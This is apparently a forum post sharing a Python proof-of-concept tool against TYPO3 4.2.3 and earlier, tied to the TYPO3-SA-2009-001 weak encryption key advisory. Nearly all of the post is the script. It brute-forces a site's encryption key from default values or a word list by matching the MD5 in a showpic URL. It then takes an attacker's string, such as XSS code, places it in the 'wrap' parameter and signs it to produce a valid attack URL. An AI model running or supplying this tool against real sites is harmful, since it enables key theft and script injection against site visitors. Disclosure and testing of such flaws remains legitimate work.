Jump to content
begood

Typo3 Encryption Key Attack

Recommended Posts

typo3_10.jpg

This short screen capture demonstrates the use of the Typo3 Encryption Key tool found on c22.cc. This tool exploits the weak encryption key found in versions 4.2.3 and earlier of Typo3 (see Typo3-sa-2009-001 / Insecure Randomness vulnerability).

Typo3 Encryption Key Attack on Vimeo

original script location : Tools/Scripts ©????²² (in)s??u?it?

TYPO3EncKeyTool.py

# TYPO3 Encryption Key - Proof of Concept
#
# Chris John Riley
# blog.c22.cc
# contact@c22.cc
# 16/12/2008 (23/01/2009)
# Version: 1.23
#
# Changelog
# 1.23 --> Small corrections
# 1.22 --> Fixed mistake in the attack string creation. Changed bodytag to bodyTag to corect mismatching MD5 results.


import hashlib
import urllib
import getopt
import sys
import re
from string import split
from urlparse import urlparse

dictionary = ''
file= ''
width = ''
height = ''
effects = ''
bodytag = ''
title = ''
wrap = ''
md5 = ''

def main():
global file
global width
global height
global effects
global bodytag
global title
global wrap
global md5
global enckey
success = ''
i = 0
urlquery = url.query.split('&')
print " Base URL | ", baseurl
while i < len(urlquery): # Loop through each part of the query
urlsplit = urlquery[i].partition('=')
j = 0 # Loop through to split the variables and values from the URL
while j < (len(urlsplit)):
if urlsplit[j].lower() in ("file", "width", "height", "effects", "bodytag", "title", "wrap", "md5"):
if (urlsplit[j].lower() == "file"):
file = urlsplit[j+2] # When split using partition the out put is "file" "=" "value" - j+2 is used to skip the "=" and set the value
print " file | ", file
elif (urlsplit[j].lower() == "width"):
width = urlsplit[j+2]
print " width | ", width
elif (urlsplit[j].lower() == "height"):
height = urlsplit[j+2]
print " height | ", height
elif (urlsplit[j].lower() == "effects"):
effects = urlsplit[j+2]
print " effects | ", effects
elif (urlsplit[j].lower() == "bodytag"):
bodytag = urlsplit[j+2]
print " bodytag | ", bodytag
elif (urlsplit[j].lower() == "title"):
title = urlsplit[j+2]
print " title | ", title
elif (urlsplit[j].lower() == "wrap"):
wrap = urlsplit[j+2]
print " wrap | ", wrap
elif (urlsplit[j].lower() == "md5"):
md5 = urlsplit[j+2]
print " md5 | ", md5
else:
break
else:
break
j = j+1
i = i+1
urlreform = urllib.unquote_plus("|".join((file, width, height, effects, bodytag, title, wrap)) +'|')
print "\n" +"-" *80
print " Attempting to find a matching MD5"
print "-" *80
print " Test string | ", urlreform +"<BRUTE-FORCE>|"
print "-" *80
print " Desired MD5 | ", md5
print "-" *80
if default == True: # Attempt to check default Typo3 Encryption keys
print "\n" +" Beginning default Encryption Key attack"
y = 0
while y < 1000:
# This section performs the MD5 hashing and comparison
# By recreating the hash and comparing against the original from the URL
# the Encryption Key can be recovered / brute-forced
# Details on the process used can be found in the paper discussing the vulnerability
md5def1 = hashlib.md5(str(y))
md5def2 = hashlib.md5(md5def1.hexdigest())
md5def3 = "".join((md5def1.hexdigest(), md5def2.hexdigest()))
md5def4 = hashlib.md5(md5def3)
md5def5 = "".join((md5def3, md5def4.hexdigest()))
testinput = "".join((urlreform, md5def5)) +'|'
testresult = hashlib.md5(testinput)
if testresult.hexdigest() == md5: # Match brute-forced MD5 against the one from the URL
success = True
break
y = y+1
if success:
enckey = md5def5
print "\n" +"_" *80
print "=" *80
print "-" *80
print "\n Default Hash found is", md5def5
print "\n" +"_" *80
print "=" *80
print "-" *80
change = raw_input(' Do you want to use this Encryption key to create a new URL (y/n): ')
if change == 'y':
createlink() # Create valid URL using the recovered Encryption Key
else:
sys.exit()
else:
if dictionary == True:
print "\n Default Hash not found. Proceeding to dictionary attack"
else:
print "\n Default Hash not found."
if dictionary == True: # Attempt to brute-force the Encryption Key using a dictionary file
print " Using dictionary file = ", dictfile
try:
for word in open(dictfile): # Loop through words in the file
word = word.rstrip('\n') # Strip new line characters
testinput = "".join((urlreform, word)) +'|' # Combine the word before creating the MD5 hash
testresult = hashlib.md5(testinput)
if testresult.hexdigest() == md5: # Compare the created hash to the one from the URL
success = True
break
if success:
enckey = word
print "\n" +"_" *80
print "=" *80
print "-" *80
print "\n Encryption Key recovered .:", word
print "\n" +"_" *80
print "=" *80
print "-" *80
change = raw_input(' Do you want to use this Encryption key to create a new URL (y/n): ')
if change == 'y':
createlink() # Create valid URL using the recovered Encryption Key
else:
sys.exit()
else:
print "-" *80
print " Encryption Key not found"
print "-" *80
except IOError:
print dictfile, "not found!"

def usage():
print "\n\n" +"-" *80
print " Typo3 Encryption Key Tool"
print "\n Version 1.22"
print "-" *80
print "\n www.c22.cc"
print "\n This Proof of Concept script takes input in the form of a"
print " TYPO3 URL (specifically one using the tx_cms_showpic class)"
print " The script will then perform a check against known default"
print " Encryption Keys or use a dictionary file to perform a brute"
print " force attack in an attempt to recover the Encryption Key in"
print " use on the remote server. Once the Encrpytion Key is recovered"
print " the option is given to insert an attack string (i.e. XSS)"
print " into the wrap element of the URL passed to the command line."
print " the script will then recalculate a valid MD5 using the recovered"
print " Encryption Key and provide a valid attack URL to the user."
print "\n\n Usage .:"
print "\n -u / --url <'Complete URL within single quotes'>"
print " -f / --file <Path to dictionary file>"
print " -d / --default <Check against the default encryption keys>"
print ""

def createlink():
# Once the Encryption Key has been recovered / brute-forced, it's possible to alter the original URL to contain attack code (XSS code, etc..)
# This section recreates the URI with a valid MD5 (created using the Encryption Key)
print "\n Please insert your desired attack string."
print " This string will be inserted into the"
print " wrap section of the URL"
attackstring = raw_input ('===> ') # Input attack code
print " inserting", attackstring, "into the wrap tag"
attackurl = "file=", file, "&width=", width, "&height=", height, "&effects=", effects, "&bodyTag=", bodytag, "&title=", title, "&wrap=", attackstring, "&md5="
attackurl = urllib.unquote_plus("".join((attackurl))) # Link all variables together before creating the new MD5
attackmd5 = urllib.unquote_plus("|".join((file, width, height, effects, bodytag, title, attackstring, enckey)) +'|')
print attackmd5
attackmd5 = hashlib.md5(str(attackmd5))
attackmd5 = attackmd5.hexdigest() # We now have the newly created MD5
attackurl = "".join((str(attackurl), str(attackmd5)))
attackurl = "".join((attackurl))
attackurl = "&".join((baseurl, attackurl))
print "\n" +"_" *80
print "=" *80
print "-" *80 +"\n"
print " Attack string .:\n\n" # Attack string is output with newly created MD5 hash
print "", attackurl
print "\n" +"_" *80
print "=" *80
print "-" *80

try:
opts, args = getopt.getopt(sys.argv[1:], "u:f:dh", ["url=", "file=", "default", "help"])
except getopt.GetoptError:
usage()
sys.exit(2)
if len(sys.argv) < 4:
usage()
sys.exit(2)
for opt, arg in opts:
if opt in ("-h", "--help"):
usage()
sys.exit()
elif opt in ("-u", "--url"):
url = urlparse(arg, scheme='http', allow_fragments=False)
eID = url.query.split('&')[0]
baseurl = "?".join((("".join((("://".join((url.scheme, url.netloc))), url.path))), eID)) # Recreate the URL up to the end of the eID parameter
elif opt in ("-f", "--file"):
dictfile = arg
dictionary = True
elif opt in ("-d", "--default"): # Check that the Typo3 Encryption key isn't set to a default value
default = True
print "\n" +"_"*80
print "-"*80
print "\n" +" TYPO3 4.2.3 Offline Encryption Key brute forcer"

print " Chris John Riley (blog.c22.cc)"
print " Version 1.23 (March 2010)"
print "\n" +"_"*80
print "-"*80
print "\n" +" Data extracted from URL .:"
print ""

if __name__== '__main__':
main()

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...